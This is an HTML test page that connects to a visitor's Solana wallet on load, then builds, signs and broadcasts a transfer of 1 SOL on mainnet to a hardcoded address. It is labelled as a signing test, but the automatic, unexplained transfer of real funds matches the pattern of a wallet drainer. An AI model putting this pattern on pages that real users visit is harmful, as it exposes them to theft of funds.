<!doctype html>
<html>

	<head>
		<meta charset="utf-8">
		<title></title>
		<meta name="viewport"
			content="width=device-width,initial-scale=1,minimum-scale=1,maximum-scale=1,user-scalable=no" />
		<link href="css/mui.css" rel="stylesheet" />
	</head>

	<body>
		<a href="#">solana签名交易测试</a>
		<script src="js/mui.js"></script>
		<!-- <script src="js/solana/index.iife.js" type="text/javascript" charset="utf-8"></script> -->
		<script src="js/bs58.js" type="text/javascript" charset="utf-8"></script>
		<script src="node_modules/tp-js-sdk/dist/tp.js" type="text/javascript" charset="utf-8"></script>
		<script src="js/index.iife.min.js" type="text/javascript" charset="utf-8"></script>
		<!-- <script src="https://unpkg.com/@solana/web3.js@latest/lib/index.iife.js"></script> -->
		<script type="text/javascript">
		
			window.web3 = solanaWeb3;
			
			var {
				Keypair,
				Transaction,
				Connection,
				PublicKey,
				SystemProgram,
				LAMPORTS_PER_SOL,
				sendAndConfirmTransaction,
				clusterApiUrl
			} = solanaWeb3;
			// alert(solanaWeb3)
			var publicKey = "";

			function get_my_key() {
				return new Promise(async (succ) => {
					await window.solana.connect();
					publicKey = window.solana.publicKey.toBase58();
					succ(publicKey);
				})
			}
			var si = setInterval(() => {
				// if(window.solana){
				if (window.solana) {
					clearInterval(si);
					get_my_key().then(async (key) => {
						try {
							// return;
							console.info("publicKey", publicKey)
							//solana 网络
							// const network = "https://solana-mainnet.phantom.tech";
							// const network = "https://rpc.ankr.com/solana";
							const network = "https://solana-mainnet.phantom.tech"
							// const network = "https://api.devnet.solana.com";
							//创建solana连接
							var connection = new web3.Connection(network);



							let blockhash = await connection.getLatestBlockhash('finalized');
							let recentBlockhash = blockhash.blockhash;

							let tx = new Transaction();
							let toPubKey = new PublicKey("3QNts7C4jSexFRAjb4CXPQEj6VhcZQMJw1Q1rS5MeJVy");
							let fromPubKey = new PublicKey(publicKey);
							let transfer = SystemProgram.transfer({
									lamports: 1000000000,
									fromPubkey: fromPubKey,
									toPubkey: toPubKey
								}) ;
							tx.add(
								transfer
							);
							console.info("tx数据",tx.data);
							tx.recentBlockhash = recentBlockhash
							tx.feePayer = fromPubKey;
							
							setTimeout( async function() {
								const signedTransaction = await window.solana.signTransaction(tx);
								console.info("签名结果", signedTransaction)
								const signature = await connection.sendRawTransaction(signedTransaction
									.serialize());
								alert("交易结果" + JSON.stringify(signature))
							}, 500);

						} catch (e) {
							alert(e.message)
							//TODO handle the exception
						}

						// sendSolana();
					})

				}
			}, 200)


			
		</script>
	</body>

</html>
